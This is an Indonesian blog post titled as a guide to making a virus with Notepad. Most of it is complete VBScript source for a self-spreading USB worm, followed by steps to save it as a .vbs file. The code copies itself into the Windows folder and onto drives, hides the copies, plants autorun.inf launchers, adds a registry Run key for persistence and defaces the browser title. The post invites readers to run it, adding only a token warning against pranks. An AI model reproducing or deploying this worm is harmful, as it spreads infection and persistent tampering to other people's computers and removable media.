Cara membuat virus dengan notepad

Kesel banget dah yah, kalau komputer atau fd (Flashdisk) kita kena virus, tapi sekarang saya punya cara yang mungkin bisa sedikit menghibur dan menambah pengetahuan kita...
Saya pernah ingin tahu dari mana asal virus itu dan bagaimana cara membuatnya, ketika saya searching di google ternyata saya mendapatkan apa yang saya mau yaitu membuat virus sederhana hanya dengan menggunakan notepad saja, setelah mempelajari itu saya akan berbagi kepada kalian semua yaitu pengunjung setia blog saya.
Oke, langsung ke proses pembuatannya aja yah...:


- Buka Notepad di komputer anda
- copy script dibawah ini
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by Davit Wahyudi"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname

- Klik File => Save As => All Files
catatan: file harus dengan extensi .vbs contoh: KuROSaKi.vbs

Jadi deh virus mu sendiri...
Mau coba??Klik aja sendiri... Kerusakan ditanggung sendiri hehehe...

PENTING: Jangan digunakan untuk menjahili orang atau teman!!!!!!